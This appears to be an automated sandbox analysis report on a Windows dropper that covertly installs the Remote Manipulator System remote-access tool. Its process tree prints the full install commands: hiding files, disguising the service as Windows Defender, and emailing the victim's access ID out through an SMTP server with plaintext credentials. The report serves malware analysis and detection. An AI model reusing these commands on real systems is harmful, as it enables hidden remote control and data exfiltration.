Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
28/05/2024, 15:03
Static task
static1
Behavioral task
behavioral1
Sample
7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe
Resource
win7-20240221-en
General
-
Target
7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe
-
Size
4.5MB
-
MD5
7d6402b5f19f6a84ac471edbe9c21bdf
-
SHA1
39394206c4fb590e4dffc200ce71e73d373a7af4
-
SHA256
2834f08114dd9a0583deb4d44ed36b6bf914d26cb9482c99cbed6e1c5dc4aa83
-
SHA512
d16f031b5204d2ea8345867d11767ccc5d10ef17f1249ef721237440b349a5c853fecd2c53eac8a0a3c1c415aaeb1e33b41a904299bd744d8f21ae3f250dbb9f
-
SSDEEP
98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5CK:HS7KQrLM/RzYI7Da4IF
Malware Config
Signatures
-
Sets file to hidden 1 TTPs 2 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 4220 attrib.exe 792 attrib.exe -
ACProtect 1.3x - 1.4x DLL software 2 IoCs
Detects file using ACProtect software.
resource yara_rule behavioral2/files/0x0007000000023403-25.dat acprotect behavioral2/files/0x0007000000023402-24.dat acprotect -
resource yara_rule behavioral2/files/0x0007000000023405-23.dat aspack_v212_v242 behavioral2/files/0x0007000000023404-22.dat aspack_v212_v242 -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 8 IoCs
pid Process 436 rutserv.exe 4056 rutserv.exe 4040 rutserv.exe 1408 rutserv.exe 4100 rfusclient.exe 1252 rfusclient.exe 1968 rfusclient.exe 456 mailsend.exe -
resource yara_rule behavioral2/files/0x0007000000023403-25.dat upx behavioral2/files/0x0007000000023402-24.dat upx -
Drops file in Program Files directory 35 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\System\mailsend.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\rutserv.exe attrib.exe File opened for modification C:\Program Files (x86)\System\rfusclient.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\rutserv.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\regedit.reg 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\mailsend.exe attrib.exe File opened for modification C:\Program Files (x86)\System 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\install.vbs 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\vp8encoder.dll 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\install.vbs attrib.exe File opened for modification C:\Program Files (x86)\System\mailsend.exe attrib.exe File opened for modification C:\Program Files (x86)\System\vp8encoder.dll attrib.exe File opened for modification C:\Program Files (x86)\System\regedit.reg attrib.exe File created C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_240596125 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\vp8decoder.dll 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\Common Files\System attrib.exe File created C:\Program Files (x86)\System\id.txt reg.exe File opened for modification C:\Program Files (x86)\System\install.vbs attrib.exe File created C:\Program Files (x86)\System\install.vbs 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\regedit.reg attrib.exe File opened for modification C:\Program Files (x86)\System\rfusclient.exe attrib.exe File opened for modification C:\Program Files (x86)\System\id.txt reg.exe File opened for modification C:\Program Files (x86)\System\regedit.reg 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\install.bat 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\vp8decoder.dll attrib.exe File opened for modification C:\Program Files (x86)\System\id.txt attrib.exe File opened for modification C:\Program Files (x86)\System attrib.exe File opened for modification C:\Program Files (x86)\System\install.bat attrib.exe File opened for modification C:\Program Files (x86)\System\vp8decoder.dll 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\rutserv.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\install.bat 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File opened for modification C:\Program Files (x86)\System\install.bat attrib.exe File created C:\Program Files (x86)\System\vp8encoder.dll 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\rfusclient.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe File created C:\Program Files (x86)\System\mailsend.exe 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe -
Launches sc.exe 3 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4276 sc.exe 3792 sc.exe 2132 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 3 IoCs
pid Process 3148 timeout.exe 2896 timeout.exe 4376 timeout.exe -
Kills process with taskkill 4 IoCs
pid Process 4084 taskkill.exe 2316 taskkill.exe 2920 taskkill.exe 3484 taskkill.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe -
Runs .reg file with regedit 1 IoCs
pid Process 924 regedit.exe -
Suspicious behavior: EnumeratesProcesses 20 IoCs
pid Process 436 rutserv.exe 436 rutserv.exe 436 rutserv.exe 436 rutserv.exe 436 rutserv.exe 436 rutserv.exe 4056 rutserv.exe 4056 rutserv.exe 4040 rutserv.exe 4040 rutserv.exe 1408 rutserv.exe 1408 rutserv.exe 1408 rutserv.exe 1408 rutserv.exe 1408 rutserv.exe 1408 rutserv.exe 1252 rfusclient.exe 1252 rfusclient.exe 456 mailsend.exe 456 mailsend.exe -
Suspicious behavior: SetClipboardViewer 1 IoCs
pid Process 1968 rfusclient.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 4084 taskkill.exe Token: SeDebugPrivilege 2316 taskkill.exe Token: SeDebugPrivilege 2920 taskkill.exe Token: SeDebugPrivilege 3484 taskkill.exe Token: SeDebugPrivilege 436 rutserv.exe Token: SeDebugPrivilege 4040 rutserv.exe Token: SeTakeOwnershipPrivilege 1408 rutserv.exe Token: SeTcbPrivilege 1408 rutserv.exe Token: SeTcbPrivilege 1408 rutserv.exe -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 436 rutserv.exe 4056 rutserv.exe 4040 rutserv.exe 1408 rutserv.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4304 wrote to memory of 1940 4304 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe 85 PID 4304 wrote to memory of 1940 4304 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe 85 PID 4304 wrote to memory of 1940 4304 7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe 85 PID 1940 wrote to memory of 2128 1940 WScript.exe 87 PID 1940 wrote to memory of 2128 1940 WScript.exe 87 PID 1940 wrote to memory of 2128 1940 WScript.exe 87 PID 2128 wrote to memory of 792 2128 cmd.exe 89 PID 2128 wrote to memory of 792 2128 cmd.exe 89 PID 2128 wrote to memory of 792 2128 cmd.exe 89 PID 2128 wrote to memory of 4220 2128 cmd.exe 90 PID 2128 wrote to memory of 4220 2128 cmd.exe 90 PID 2128 wrote to memory of 4220 2128 cmd.exe 90 PID 2128 wrote to memory of 4084 2128 cmd.exe 91 PID 2128 wrote to memory of 4084 2128 cmd.exe 91 PID 2128 wrote to memory of 4084 2128 cmd.exe 91 PID 2128 wrote to memory of 2316 2128 cmd.exe 93 PID 2128 wrote to memory of 2316 2128 cmd.exe 93 PID 2128 wrote to memory of 2316 2128 cmd.exe 93 PID 2128 wrote to memory of 2920 2128 cmd.exe 94 PID 2128 wrote to memory of 2920 2128 cmd.exe 94 PID 2128 wrote to memory of 2920 2128 cmd.exe 94 PID 2128 wrote to memory of 3484 2128 cmd.exe 95 PID 2128 wrote to memory of 3484 2128 cmd.exe 95 PID 2128 wrote to memory of 3484 2128 cmd.exe 95 PID 2128 wrote to memory of 1172 2128 cmd.exe 96 PID 2128 wrote to memory of 1172 2128 cmd.exe 96 PID 2128 wrote to memory of 1172 2128 cmd.exe 96 PID 2128 wrote to memory of 924 2128 cmd.exe 97 PID 2128 wrote to memory of 924 2128 cmd.exe 97 PID 2128 wrote to memory of 924 2128 cmd.exe 97 PID 2128 wrote to memory of 3148 2128 cmd.exe 98 PID 2128 wrote to memory of 3148 2128 cmd.exe 98 PID 2128 wrote to memory of 3148 2128 cmd.exe 98 PID 2128 wrote to memory of 436 2128 cmd.exe 99 PID 2128 wrote to memory of 436 2128 cmd.exe 99 PID 2128 wrote to memory of 436 2128 cmd.exe 99 PID 2128 wrote to memory of 4056 2128 cmd.exe 100 PID 2128 wrote to memory of 4056 2128 cmd.exe 100 PID 2128 wrote to memory of 4056 2128 cmd.exe 100 PID 2128 wrote to memory of 4040 2128 cmd.exe 101 PID 2128 wrote to memory of 4040 2128 cmd.exe 101 PID 2128 wrote to memory of 4040 2128 cmd.exe 101 PID 1408 wrote to memory of 4100 1408 rutserv.exe 104 PID 1408 wrote to memory of 4100 1408 rutserv.exe 104 PID 1408 wrote to memory of 4100 1408 rutserv.exe 104 PID 1408 wrote to memory of 1252 1408 rutserv.exe 103 PID 1408 wrote to memory of 1252 1408 rutserv.exe 103 PID 1408 wrote to memory of 1252 1408 rutserv.exe 103 PID 2128 wrote to memory of 2132 2128 cmd.exe 105 PID 2128 wrote to memory of 2132 2128 cmd.exe 105 PID 2128 wrote to memory of 2132 2128 cmd.exe 105 PID 2128 wrote to memory of 4276 2128 cmd.exe 106 PID 2128 wrote to memory of 4276 2128 cmd.exe 106 PID 2128 wrote to memory of 4276 2128 cmd.exe 106 PID 2128 wrote to memory of 3792 2128 cmd.exe 107 PID 2128 wrote to memory of 3792 2128 cmd.exe 107 PID 2128 wrote to memory of 3792 2128 cmd.exe 107 PID 2128 wrote to memory of 2896 2128 cmd.exe 108 PID 2128 wrote to memory of 2896 2128 cmd.exe 108 PID 2128 wrote to memory of 2896 2128 cmd.exe 108 PID 1252 wrote to memory of 1968 1252 rfusclient.exe 113 PID 1252 wrote to memory of 1968 1252 rfusclient.exe 113 PID 1252 wrote to memory of 1968 1252 rfusclient.exe 113 PID 2128 wrote to memory of 4736 2128 cmd.exe 117 -
Views/modifies file attributes 1 TTPs 7 IoCs
pid Process 3144 attrib.exe 792 attrib.exe 4220 attrib.exe 4336 attrib.exe 5084 attrib.exe 1524 attrib.exe 3780 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\7d6402b5f19f6a84ac471edbe9c21bdf_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System" +H +S /S /D4⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:792
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\*.*" +H +S /S /D4⤵
- Sets file to hidden
- Drops file in Program Files directory
- Views/modifies file attributes
PID:4220
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rutserv.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4084
-
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im rutserv.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2316
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im rfusclient.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2920
-
-
C:\Windows\SysWOW64\taskkill.exeTaskkill /f /im rfusclient.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3484
-
-
C:\Windows\SysWOW64\reg.exereg delete "HKLM\SYSTEM\Remote Manipulator System" /f4⤵PID:1172
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s "regedit.reg"4⤵
- Runs .reg file with regedit
PID:924
-
-
C:\Windows\SysWOW64\timeout.exetimeout 24⤵
- Delays execution with timeout.exe
PID:3148
-
-
C:\Program Files (x86)\System\rutserv.exerutserv.exe /silentinstall4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:436
-
-
C:\Program Files (x86)\System\rutserv.exerutserv.exe /firewall4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4056
-
-
C:\Program Files (x86)\System\rutserv.exerutserv.exe /start4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4040
-
-
C:\Windows\SysWOW64\sc.exesc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/10004⤵
- Launches sc.exe
PID:2132
-
-
C:\Windows\SysWOW64\sc.exesc config RManService obj= LocalSystem type= interact type= own4⤵
- Launches sc.exe
PID:4276
-
-
C:\Windows\SysWOW64\sc.exesc config RManService DisplayName= "Windows_Defender v6.3"4⤵
- Launches sc.exe
PID:3792
-
-
C:\Windows\SysWOW64\timeout.exetimeout 1204⤵
- Delays execution with timeout.exe
PID:2896
-
-
C:\Windows\SysWOW64\reg.exereg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"4⤵
- Drops file in Program Files directory
PID:4736
-
-
C:\Windows\SysWOW64\timeout.exetimeout 104⤵
- Delays execution with timeout.exe
PID:4376
-
-
C:\Program Files (x86)\System\mailsend.exemailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user sovu2001 -pass halid.9999 -q4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:456
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D4⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:4336
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D4⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:5084
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D4⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:1524
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D4⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:3780
-
-
C:\Windows\SysWOW64\attrib.exeattrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D4⤵
- Drops file in Program Files directory
- Views/modifies file attributes
PID:3144
-
-
-
-
C:\Program Files (x86)\System\rutserv.exe"C:\Program Files (x86)\System\rutserv.exe"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Program Files (x86)\System\rfusclient.exe"C:\Program Files (x86)\System\rfusclient.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Program Files (x86)\System\rfusclient.exe"C:\Program Files (x86)\System\rfusclient.exe" /tray3⤵
- Executes dropped EXE
- Suspicious behavior: SetClipboardViewer
PID:1968
-
-
-
C:\Program Files (x86)\System\rfusclient.exe"C:\Program Files (x86)\System\rfusclient.exe" /tray2⤵
- Executes dropped EXE
PID:4100
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD53632bde0237a25acc88651cc059a04db
SHA138bc44312b805f688fc9d251a3df0242dcfae1cf
SHA2568b1edb6951e1eda0670eff719f66919d91afa7e40d0976123df56699594d9e90
SHA512e439cfcf56721d0af2a920949f3a20860e01e4ed74e6bb6bacab94757eed256b6042aded78518d6c1a077f6bdc269adfa95286fd170e71f2b925ec14ea89d50a
-
Filesize
120B
MD5c719a030434d3fa96d62868f27e904a6
SHA1f2f750a752dd1fda8915a47b082af7cf2d3e3655
SHA2562696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f
SHA51247a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0
-
Filesize
1.2MB
MD5ac23b87f8ec60ddd3f555556f89a6af8
SHA13cea6f84757d15ee8d7fa19d3dfc4992c50aa90c
SHA25680a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4
SHA51257e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167
-
Filesize
12KB
MD5251212852a073e6fc5fbe3af92f66adb
SHA16ee07cb20f57830325c11867e68fea49ae0e87ea
SHA256f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb
SHA512f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be
-
Filesize
1.5MB
MD5b8667a1e84567fcf7821bcefb6a444af
SHA19c1f91fe77ad357c8f81205d65c9067a270d61f0
SHA256dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9
SHA512ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852
-
Filesize
1.7MB
MD537a8802017a212bb7f5255abc7857969
SHA1cb10c0d343c54538d12db8ed664d0a1fa35b6109
SHA2561699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6
SHA5124e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0
-
Filesize
155KB
MD588318158527985702f61d169434a4940
SHA13cc751ba256b5727eb0713aad6f554ff1e7bca57
SHA2564c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74
SHA5125d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff
-
Filesize
593KB
MD56298c0af3d1d563834a218a9cc9f54bd
SHA10185cd591e454ed072e5a5077b25c612f6849dc9
SHA25681af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172
SHA512389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe
-
Filesize
20KB
MD56758359479d2f854cab98fcd91a7b26e
SHA164c740378f230f9b99c1b7a20e3cc5f9d05c202f
SHA256dfe52e155b8065e5742d63f0b615937437ab1dfe6ab18213a4ce1235fc9d5362
SHA512003af9b1eeb5f7bf4ee49d5b197022441eadd2f1f95ac239038749bef81b52016a4f3a92290c7d6f192edd66782e0ec454a064d75064ce316218053720cd6b85